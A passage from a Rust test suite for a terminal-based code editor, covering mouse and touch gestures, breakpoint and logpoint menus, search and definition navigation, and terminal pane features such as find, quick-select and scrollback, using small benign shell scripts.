        "neither is bound, so the per-event dispatch stays off"
    );
    assert!(
        warnings.iter().any(|w| w.contains("second click")),
        "triple_click says the real reason, not 'not a gesture': {warnings:?}"
    );
}

#[test]
fn outline_scrollbar_drag_is_not_hijacked_by_the_sidebar_splitter() {
    use crate::lsp::manager::{OutlineKind, OutlineSymbol};
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("a.rs");
    std::fs::write(&f, "fn main() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Hermetic: App::new reads the user's real config; force the documented
    // default views so this test never depends on a personal Outline-off pref.
    app.explorer_views = Default::default();
    app.editor.open_pinned(&f).unwrap();
    // Enough symbols to overflow the OUTLINE's capped half-height so a scrollbar
    // is drawn; expand the panel so the body (and its bar) render.
    let syms: Vec<_> = (0..200u32)
        .map(|i| OutlineSymbol {
            name: format!("f{i}"),
            detail: None,
            kind: OutlineKind::Function,
            depth: 0,
            line: i,
            character: 0,
            range_start_line: i,
            range_end_line: i,
        })
        .collect();
    app.outline.set_symbols(f.clone(), syms);
    app.outline.collapsed = false;

    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();

    let bar = app.outline.last_scrollbar;
    assert!(
        bar.width > 0 && bar.height > 0,
        "the overflowing outline must draw a scrollbar"
    );
    // The outline panel has no right border, so its scrollbar lands on the
    // sidebar's rightmost column, inside the splitter's two-cell grab zone. A
    // press there must drive the outline's bar, not start a sidebar resize.
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        bar.x,
        bar.y + bar.height - 1,
    ));
    assert!(
        app.splitter_drag.is_none(),
        "pressing the outline scrollbar must not start a sidebar splitter drag"
    );
    assert!(
        app.outline_scrollbar_drag,
        "pressing the outline scrollbar must arm the outline scrollbar drag"
    );
}

#[test]
fn terminal_decoration_dot_click_is_not_hijacked_by_the_sidebar_splitter() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A pane whose script emits the OSC 133 protocol, so a decoration dot
    // lands on its left border.
    let script = "printf '\\033]133;A\\007$ \\033]133;B\\007cmd\\n\\033]133;C\\007out\\n\\033]133;D;0\\007'; sleep 30";
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), script.into()],
        tmp.path(),
    )
    .unwrap();
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the shell to emit a decoration mark",
        || !app.terminals[0].command_decorations().is_empty(),
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let deco = app.terminals[0].command_decorations()[0];
    let pane = app.terminals[0].last_area;
    let inner_y = app.terminals[0].last_inner.y;
    let (col, row) = (pane.x, inner_y + u16::try_from(deco.line).unwrap());
    assert_eq!(
        app.terminals[0].decoration_at_screen(col, row),
        Some(deco),
        "the dot cell must hit-test to the decoration"
    );
    // The regression: a lone pane's left border sits exactly in the sidebar
    // splitter's two-column grab zone, which used to swallow the click as a
    // resize drag before the decoration handler could see it.
    let x = app
        .sidebar_splitter_x
        .expect("sidebar shown, so the splitter seam exists");
    assert!(
        col == x || col == x.saturating_sub(1),
        "the dot column ({col}) must lie in the splitter grab zone ({x})"
    );
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert!(
        app.splitter_drag.is_none(),
        "pressing a decoration dot must not start a sidebar resize"
    );
    assert!(
        app.context_menu.is_some(),
        "pressing a decoration dot must open the command's action menu"
    );
}

#[test]
fn tap_in_the_editor_arms_the_hover_dwell_and_release_keeps_it_armed() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp, col, row) = app_with_open_file_and_editor_cell();
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert_eq!(
        app.hover.cell(),
        Some((col, row)),
        "a tap is the touch equivalent of the pointer arriving: it must arm \
         the dwell at the tapped cell (a touchscreen never emits Moved events)"
    );
    assert!(
        app.hover
            .due(std::time::Instant::now() + HOVER_DELAY, HOVER_DELAY),
        "the tap-armed dwell must come due HOVER_DELAY after the press"
    );
    app.handle_mouse(mouse(MouseEventKind::Up(MouseButton::Left), col, row));
    assert_eq!(
        app.hover.cell(),
        Some((col, row)),
        "lifting the finger must not cancel the pending dwell, or a quick \
         tap could never fire"
    );
}

#[test]
fn drag_and_scroll_cancel_a_tap_armed_hover_dwell() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp, col, row) = app_with_open_file_and_editor_cell();
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    app.handle_mouse(mouse(MouseEventKind::Drag(MouseButton::Left), col + 3, row));
    assert_eq!(
        app.hover.cell(),
        None,
        "a drag is a selection, not a rest: it must cancel the pending dwell"
    );
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    app.handle_mouse(mouse(MouseEventKind::ScrollDown, col, row));
    assert_eq!(
        app.hover.cell(),
        None,
        "scrolling moves the text under the tapped cell; the dwell must cancel"
    );
}

#[test]
fn press_and_hold_hover_popup_survives_the_finger_release() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp, col, row) = app_with_open_file_and_editor_cell();
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    // The dwell fired while the finger was still down (press-and-hold).
    app.hover_popup = Some(crate::widgets::hover_popup::HoverPopup::new(
        String::from("int"),
        (col, row),
    ));
    app.handle_mouse(mouse(MouseEventKind::Up(MouseButton::Left), col, row));
    assert!(
        app.hover_popup.is_some(),
        "releasing the press must not dismiss the popup it just summoned"
    );
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert!(
        app.hover_popup.is_none(),
        "the next tap is a new gesture and dismisses the previous popup"
    );
}

#[test]
fn a_second_tap_on_the_same_cell_rearms_the_dwell() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp, col, row) = app_with_open_file_and_editor_cell();
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    app.hover.mark_fired();
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert!(
        app.hover
            .due(std::time::Instant::now() + HOVER_DELAY, HOVER_DELAY),
        "a fresh tap must restart the dwell even on the same cell, else a \
         dismissed popup could never be re-summoned by tapping again"
    );
}

/// Right-clicking the editor gutter (glyph margin / line-number column)
/// opens the breakpoint context menu and toggles the breakpoint on the
/// CLICKED line, not the cursor line, mirroring VS Code's glyph-margin
/// menu. The cursor must not move.
#[test]
fn right_click_on_the_gutter_opens_the_breakpoint_menu_and_toggles_the_clicked_line() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("prog.py");
    std::fs::write(&f, "l1\nl2\nl3\nl4\nl5\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();

    // Glyph-margin column (left of text_x) on the 3rd content row => 1-based
    // line 3. Cursor stays on line 1 throughout.
    let gutter_col = app.editor.last_inner.x;
    let row = app.editor.last_inner.y + 2;
    assert_eq!(app.editor.cursor_row, 0, "precondition: cursor on line 1");

    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Right),
        gutter_col,
        row,
    ));
    let menu = app
        .context_menu
        .as_ref()
        .expect("a gutter right-click must open a context menu");
    let labels = menu_labels(&menu.items);
    assert!(
        labels.contains(&"Add Breakpoint"),
        "menu must offer Add Breakpoint when none exists; got {labels:?}"
    );
    assert!(
        labels.contains(&"Add Conditional Breakpoint\u{2026}"),
        "menu must offer Add Conditional Breakpoint; got {labels:?}"
    );

    // Select "Add Breakpoint" and commit it through the real menu key path.
    let idx = menu
        .items
        .iter()
        .position(|e| menu_label(e) == "Add Breakpoint")
        .unwrap();
    app.context_menu.as_mut().unwrap().selected = idx;
    app.handle_menu_key(key(KeyCode::Enter, KeyModifiers::NONE));

    assert!(
        app.context_menu.is_none(),
        "committing a menu item must close the menu"
    );
    assert_eq!(
        app.editor.breakpoint_lines(&f),
        vec![3u32],
        "the breakpoint must land on the clicked line (3), not the cursor line (1)"
    );
    assert_eq!(
        app.editor.cursor_row, 0,
        "the gutter click must not move the cursor"
    );

    // Right-clicking the same gutter line now offers Remove Breakpoint.
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Right),
        gutter_col,
        row,
    ));
    let labels = menu_labels(&app.context_menu.as_ref().unwrap().items);
    assert!(
        labels.contains(&"Remove Breakpoint"),
        "an existing breakpoint must offer Remove Breakpoint; got {labels:?}"
    );
}

/// "Add Conditional Breakpoint" must open a visible popup (the centered
/// `Prompt` overlay), NOT capture keystrokes on the bottom status line. The
/// status line is reserved for read-only info.
#[test]
fn add_conditional_breakpoint_opens_a_popup_not_the_status_line() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("prog.py");
    std::fs::write(&f, "l1\nl2\nl3\nl4\nl5\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();

    let gutter_col = app.editor.last_inner.x;
    let row = app.editor.last_inner.y + 2; // 1-based line 3

    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Right),
        gutter_col,
        row,
    ));
    let idx = app
        .context_menu
        .as_ref()
        .unwrap()
        .items
        .iter()
        .position(|e| menu_label(e) == "Add Conditional Breakpoint\u{2026}")
        .expect("menu must offer Add Conditional Breakpoint");
    app.context_menu.as_mut().unwrap().selected = idx;
    app.handle_menu_key(key(KeyCode::Enter, KeyModifiers::NONE));

    // A visible popup must open on the clicked line; nothing should be armed
    // on the status line.
    let prompt = app
        .prompt
        .as_ref()
        .expect("conditional breakpoint must open a popup prompt, not a status-line input");
    assert!(
        matches!(prompt.kind, PromptKind::BreakpointCondition { line: 3, .. }),
        "popup must target the clicked line (3)"
    );

    // Type a condition into the popup and commit it via the real key path.
    for c in "x > 1".chars() {
        app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
            .unwrap();
    }
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();

    assert!(app.prompt.is_none(), "committing must close the popup");
    assert_eq!(
        app.editor.breakpoint_lines(&f),
        vec![3u32],
        "committing a condition must create the breakpoint on line 3"
    );
    let lines = app.editor.breakpoints.get(&f).unwrap();
    let specs = app.editor.source_breakpoints(&f, lines);
    assert_eq!(
        specs[0].condition.as_deref(),
        Some("x > 1"),
        "the typed expression must be attached as the breakpoint condition"
    );
}

/// The gutter menu's "Add Logpoint" opens the popup prompt; committing a
/// message creates the breakpoint with a `logMessage` attached, so the
/// adapter prints instead of pausing (VS Code's logpoint).
#[test]
fn add_logpoint_attaches_a_log_message_to_the_line() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("prog.py");
    std::fs::write(&f, "l1\nl2\nl3\nl4\nl5\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();

    let gutter_col = app.editor.last_inner.x;
    let row = app.editor.last_inner.y + 2; // 1-based line 3
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Right),
        gutter_col,
        row,
    ));
    let idx = app
        .context_menu
        .as_ref()
        .unwrap()
        .items
        .iter()
        .position(|e| menu_label(e) == "Add Logpoint")
        .expect("menu must offer Add Logpoint");
    app.context_menu.as_mut().unwrap().selected = idx;
    app.handle_menu_key(key(KeyCode::Enter, KeyModifiers::NONE));

    let prompt = app.prompt.as_ref().expect("logpoint must open a popup");
    assert!(
        matches!(prompt.kind, PromptKind::Logpoint { line: 3, .. }),
        "popup must target the clicked line (3)"
    );
    for c in "x is {x}".chars() {
        app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
            .unwrap();
    }
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();

    assert!(app.prompt.is_none(), "committing must close the popup");
    assert_eq!(
        app.editor.breakpoint_lines(&f),
        vec![3u32],
        "committing a logpoint must create the breakpoint on line 3"
    );
    let lines = app.editor.breakpoints.get(&f).unwrap();
    let specs = app.editor.source_breakpoints(&f, lines);
    assert_eq!(
        specs[0].log_message.as_deref(),
        Some("x is {x}"),
        "the typed message must ride the breakpoint as logMessage"
    );
    assert_eq!(
        specs[0].condition, None,
        "a logpoint sets no condition of its own"
    );
}

#[test]
fn opening_a_search_hit_moves_focus_to_the_editor() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("hit.txt");
    std::fs::write(&f, "needle here\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.search.query = String::from("needle");
    app.search.run_query();
    assert!(
        matches!(app.focus, Pane::Tree),
        "precondition: search holds focus"
    );
    let hit = app.search.selected_hit().cloned().expect("a hit");
    app.open_search_hit(&hit);
    assert!(
        matches!(app.focus, Pane::Editor),
        "opening a search result must hand keyboard focus to the editor so typing no longer leaks into the search box"
    );
    assert!(!app.search.focused);
}

#[test]
fn opening_a_search_hit_marks_the_active_match_so_the_renderer_paints_it_orange() {
    // Global search (Cmd+Shift+F) result navigation must mark the occurrence
    // it lands on as the *active* match, the same way the in-file Cmd+F path
    // does, so the editor paints that one occurrence orange while the sibling
    // matches stay yellow. Without active_search_match every match renders the
    // same uniform yellow and the user can't tell which result they are on.
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("hit.rs");
    // Line 2 (index 1) has two "alpha" matches: "let " is 4 chars, so the
    // first "alpha" starts at char col 4, and the second is later on the line.
    std::fs::write(&f, "fn main() {}\nlet alpha = alpha + 1;\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.search.query = String::from("alpha");
    app.search.run_query();
    let hit = app.search.selected_hit().cloned().expect("a hit");
    app.open_search_hit(&hit);
    assert_eq!(
        app.editor.active_search_match,
        Some((1, 4, 5)),
        "opening a global-search hit must record the first match on the line as the active match (row 1, col 4, len 5) so the renderer paints exactly those cells orange; the second 'alpha' stays yellow"
    );
}

#[test]
fn go_to_definition_opens_the_target_file_and_moves_the_caret() {
    let tmp = tempfile::tempdir().unwrap();
    let target = tmp.path().join("target.rs");
    std::fs::write(&target, "fn a() {}\nfn b() {}\nfn c() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.go_to_definition(target.clone(), 2, 3);
    assert_eq!(
        app.editor.path.as_deref(),
        Some(target.as_path()),
        "the definition's file is opened in the editor"
    );
    assert_eq!(
        app.editor.cursor_row, 2,
        "caret lands on the definition line"
    );
    assert_eq!(
        app.editor.cursor_col, 3,
        "caret lands at the definition column"
    );
    assert!(
        matches!(app.focus, Pane::Editor),
        "focus moves to the editor"
    );
}

#[test]
fn go_back_returns_to_the_location_before_a_definition_jump() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.rs");
    let b = tmp.path().join("b.rs");
    std::fs::write(&a, "fn main() {}\nlet x = helper();\n").unwrap();
    std::fs::write(&b, "fn helper() {}\nfn other() {}\nfn third() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 8;

    app.go_to_definition(b.clone(), 0, 3);
    assert_eq!(
        app.editor.path.as_deref(),
        Some(b.as_path()),
        "the definition jump opens B"
    );
    assert_eq!(
        app.editor.cursor_row, 0,
        "caret lands on the definition line"
    );

    app.nav_back();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(a.as_path()),
        "go back returns to file A"
    );
    assert_eq!(
        app.editor.cursor_row, 1,
        "caret returns to the line we jumped from"
    );
    assert_eq!(
        app.editor.cursor_col, 8,
        "caret returns to the column we jumped from"
    );
}

/// A `diff://` link opens two files but is ONE jump for the user, so Back
/// must return to where the click happened — not to the left half of the
/// diff on the way there.
#[test]
fn side_by_side_diff_link_records_one_go_back_entry() {
    let tmp = tempfile::tempdir().unwrap();
    let origin = tmp.path().join("origin.rs");
    let left = tmp.path().join("left.rs");
    let right = tmp.path().join("right.rs");
    std::fs::write(&origin, "fn main() {}\nlet x = 1;\n").unwrap();
    std::fs::write(&left, "fn left() {}\n").unwrap();
    std::fs::write(&right, "fn right() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&origin).unwrap();
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 4;

    let lref = crate::file_ref::FileRef {
        path: left.to_string_lossy().into_owned(),
        line: 1,
        column: None,
        end_line: None,
    };
    let rref = crate::file_ref::FileRef {
        path: right.to_string_lossy().into_owned(),
        line: 1,
        column: None,
        end_line: None,
    };
    assert!(app.open_side_by_side(&lref, &rref), "both sides open");

    app.nav_back();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(origin.as_path()),
        "one Back returns to the clicked location, not the left half"
    );
    assert_eq!(app.editor.cursor_row, 1, "caret returns to the click row");
    assert_eq!(
        app.editor.cursor_col, 4,
        "caret returns to the click column"
    );
}

/// #31: navigate-back rested entirely on the Ctrl+Shift+click mouse chord.
/// The VS Code keyboard chord (Ctrl+-) and the palette command are the
/// fallbacks that work when the host terminal never delivers that chord.
#[test]
fn ctrl_minus_and_the_palette_both_navigate_back() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.rs");
    let b = tmp.path().join("b.rs");
    std::fs::write(&a, "fn main() {}\nlet x = helper();\n").unwrap();
    std::fs::write(&b, "fn helper() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.editor.cursor_row = 1;
    app.focus_pane(Pane::Editor);

    // The keyboard chord.
    app.go_to_definition(b.clone(), 0, 3);
    assert_eq!(app.editor.path.as_deref(), Some(b.as_path()));
    app.handle_key(key(KeyCode::Char('-'), KeyModifiers::CONTROL))
        .unwrap();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(a.as_path()),
        "Ctrl+- goes back"
    );

    // The legacy encoding: Ctrl+- folds to 0x1F, decoded as Ctrl+_.
    app.go_to_definition(b.clone(), 0, 3);
    app.handle_key(key(KeyCode::Char('_'), KeyModifiers::CONTROL))
        .unwrap();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(a.as_path()),
        "the legacy Ctrl+- spelling goes back too"
    );

    // The palette command.
    app.go_to_definition(b.clone(), 0, 3);
    app.run_command(crate::widgets::command_palette::Command::NavigateBack);
    assert_eq!(
        app.editor.path.as_deref(),
        Some(a.as_path()),
        "the Go Back palette command goes back"
    );
}

#[test]
fn go_back_with_empty_history_stays_put() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.rs");
    std::fs::write(&a, "fn main() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.editor.cursor_row = 0;
    app.nav_back();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(a.as_path()),
        "with nothing to go back to, go back is a no-op"
    );
}

#[test]
fn cmd_shift_s_jumps_to_source_control_from_explorer() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(
        KeyCode::Char('S'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(
        app.sidebar_view,
        SidebarView::SourceControl,
        "Cmd+Shift+S must jump to Source Control, not Search"
    );
    assert!(
        matches!(app.focus, Pane::Tree),
        "Cmd+Shift+S focuses the Source Control panel"
    );
}

#[test]
fn typing_after_reactivating_search_replaces_instead_of_appending() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.search.query = String::from("oldterm");
    app.search.clear_selection();
    app.focus_pane(Pane::Editor);
    app.handle_key(key(
        KeyCode::Char('F'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.search.query, "x",
        "the previous query was selected, so the first keystroke replaces it"
    );
}

#[test]
fn paste_while_terminal_focused_does_not_leak_into_search_box() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Search);
    app.search.query = String::from("hello");
    app.search.clear_selection();
    app.focus_pane(Pane::Terminal);
    app.handle_paste("machi");
    assert_eq!(
        app.search.query, "hello",
        "a bracketed paste must NOT append to the search box when the terminal is focused, even though the Search panel is visible"
    );
    assert!(
        matches!(app.focus, Pane::Terminal),
        "focus must stay on the terminal"
    );
}

#[test]
fn cmd_f_opens_terminal_find_and_captures_typing() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    assert!(app.terminal_find.is_none(), "find starts closed");

    // Cmd+F opens the find bar rather than being forwarded to the shell.
    app.handle_terminal_key(key(KeyCode::Char('f'), KeyModifiers::SUPER));
    assert!(app.terminal_find.is_some(), "Cmd+F must open the find bar");

    // Typing while the bar is open builds the query, it is not sent to the PTY.
    app.handle_terminal_key(key(KeyCode::Char('l'), KeyModifiers::NONE));
    app.handle_terminal_key(key(KeyCode::Char('s'), KeyModifiers::NONE));
    assert_eq!(
        app.terminal_find.as_ref().unwrap().query,
        "ls",
        "printable keys must append to the find query"
    );

    // Backspace edits the query.
    app.handle_terminal_key(key(KeyCode::Backspace, KeyModifiers::NONE));
    assert_eq!(app.terminal_find.as_ref().unwrap().query, "l");

    // Esc closes it.
    app.handle_terminal_key(key(KeyCode::Esc, KeyModifiers::NONE));
    assert!(app.terminal_find.is_none(), "Esc must close the find bar");
}

/// VS Code and iTerm2 on macOS reserve Cmd+F for terminal find and let
/// Ctrl+F through to the child — it is a control byte programs bind
/// (vim's page-forward, the shell's emacs forward-char). Stealing both
/// chords left no way to send 0x06 to a pane at all. Linux keeps Ctrl+F
/// opening find, the VS Code default there.
#[cfg(target_os = "macos")]
#[test]
fn ctrl_f_reaches_the_terminal_child_on_macos() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.handle_terminal_key(key(KeyCode::Char('f'), KeyModifiers::CONTROL));
    assert!(
        app.terminal_find.is_none(),
        "Ctrl+F must not open find on macOS"
    );
    let written = app.terminals[0].written_bytes_for_test();
    assert!(
        written.ends_with(&[0x06]),
        "Ctrl+F must be encoded to the child, wrote {written:?}"
    );
}

#[test]
fn cmd_opt_up_parks_the_previous_prompt_mark_at_the_viewport_top() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Swap in a pane that emits an OSC 133 prompt mark and then scrolls it
    // into history with filler output.
    let script = "printf '\\033]133;A\\007PROMPT\\n'; i=0; while [ $i -lt 40 ]; do echo filler-$i; i=$((i+1)); done";
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), script.into()],
        tmp.path(),
    )
    .unwrap();
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the prompt mark and filler output",
        || {
            !app.terminals[0].prompt_lines().is_empty()
                && app.terminals[0]
                    .grid_lines()
                    .0
                    .iter()
                    .any(|l| l.contains("filler-39"))
        },
    );
    app.focus_pane(Pane::Terminal);
    assert_eq!(
        app.terminal().viewport_top_line(),
        0,
        "starts at the live bottom"
    );

    app.handle_terminal_key(key(KeyCode::Up, KeyModifiers::SUPER | KeyModifiers::ALT));
    let mark = app.terminal().prompt_lines()[0];
    assert!(mark < 0, "the mark scrolled into history");
    assert_eq!(
        app.terminal().viewport_top_line(),
        mark,
        "Cmd+Opt+Up must park the previous prompt mark at the viewport top"
    );

    // Only one mark: jumping forward finds nothing past it.
    app.handle_terminal_key(key(KeyCode::Down, KeyModifiers::SUPER | KeyModifiers::ALT));
    assert!(
        app.status.contains("No next command"),
        "status was: {}",
        app.status
    );
}

#[test]
fn ctrl_shift_space_quick_select_labels_matches_and_a_label_commits() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A pane that prints two matchable strings, bottom-most last, and stays
    // alive so the grid does not vanish under the test.
    let script = "echo see-https://example.com/quick; echo sha de40bdf12ab34; sleep 60";
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), String::from(script)],
        tmp.path(),
    )
    .unwrap();
    // The run-label header (`▶ /bin/sh -c echo …`) also contains both
    // sentinels, so wait until the SHA shows up on its own echoed row too
    // (a second occurrence); otherwise quick-select can open on a
    // header-only viewport and the hint set is timing-dependent.
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the hash on its own echoed row as well as in the run-label header",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .filter(|l| l.contains("de40bdf12ab34"))
                .count()
                >= 2
        },
    );
    app.focus_pane(Pane::Terminal);
    assert!(app.terminal_quick_select.is_none(), "starts off");

    app.handle_terminal_key(key(
        KeyCode::Char(' '),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    ));
    let state = app
        .terminal_quick_select
        .as_ref()
        .expect("Ctrl+Shift+Space must enter quick-select");
    assert!(
        state
            .hints
            .iter()
            .any(|h| h.text == "https://example.com/quick"),
        "the URL must be labelled"
    );
    // The echoed SHA is the bottom-most match on screen, so it gets the
    // cheapest label (WezTerm / tmux-thumbs assignment order).
    let sha = state.hints.last().expect("hints must not be empty");
    assert_eq!(
        (sha.text.as_str(), sha.label.as_str()),
        ("de40bdf12ab34", "a"),
        "the bottom-most match gets the cheapest label; hints were: {:?}",
        state
            .hints
            .iter()
            .map(|h| (h.line, h.text.as_str(), h.label.as_str()))
            .collect::<Vec<_>>()
    );

    // Esc cancels without touching anything.
    app.handle_terminal_key(key(KeyCode::Esc, KeyModifiers::NONE));
    assert!(app.terminal_quick_select.is_none(), "Esc must cancel");

    // Re-enter and commit the SHA's label: copies and closes the mode.
    app.handle_terminal_key(key(
        KeyCode::Char(' '),
        KeyModifiers::CONTROL | KeyModifiers::SHIFT,
    ));
    let label = app
        .terminal_quick_select
        .as_ref()
        .unwrap()
        .hints
        .iter()
        .find(|h| h.text == "de40bdf12ab34")
        .unwrap()
        .label
        .clone();
    for c in label.chars() {
        app.handle_terminal_key(key(KeyCode::Char(c), KeyModifiers::NONE));
    }
    assert!(
        app.terminal_quick_select.is_none(),
        "committing a label must close quick-select"
    );
    assert!(
        app.status.contains("Copied"),
        "commit must report the copy, status was: {}",
        app.status
    );
}

#[test]
fn shift_pageup_pages_the_scrollback_and_shift_end_snaps_back() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let script = "i=0; while [ $i -lt 80 ]; do echo page-$i; i=$((i+1)); done; sleep 60";
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), String::from(script)],
        tmp.path(),
    )
    .unwrap();
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the filler output",
        || {
            app.terminals[0]
                .grid_lines()
                .0
                .iter()
                .any(|l| l.contains("page-79"))
        },
    );
    app.focus_pane(Pane::Terminal);
    let at_bottom = app.terminal().viewport_top_line();

    app.handle_terminal_key(key(KeyCode::PageUp, KeyModifiers::SHIFT));
    let paged = app.terminal().viewport_top_line();
    assert!(
        paged < at_bottom,
        "Shift+PageUp must scroll into history: {paged} vs {at_bottom}"
    );

    app.handle_terminal_key(key(KeyCode::Home, KeyModifiers::SHIFT));
    let top = app.terminal().viewport_top_line();
    assert!(
        top < paged,
        "Shift+Home must jump to the oldest line: {top} vs {paged}"
    );

    app.handle_terminal_key(key(KeyCode::End, KeyModifiers::SHIFT));
    assert_eq!(
        app.terminal().viewport_top_line(),
        at_bottom,
        "Shift+End must snap back to the live bottom"
    );
}

#[test]
fn copy_on_select_puts_a_finished_terminal_selection_on_the_clipboard() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // A run-label pane writes its `▶ …` header synchronously at spawn, so
    // the first row has deterministic text to select.
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), String::from("sleep 60")],
        tmp.path(),
    )
    .unwrap();
    app.copy_on_select = true;
    app.focus_pane(Pane::Terminal);
    // Render so the pane has a real on-screen area to select inside.
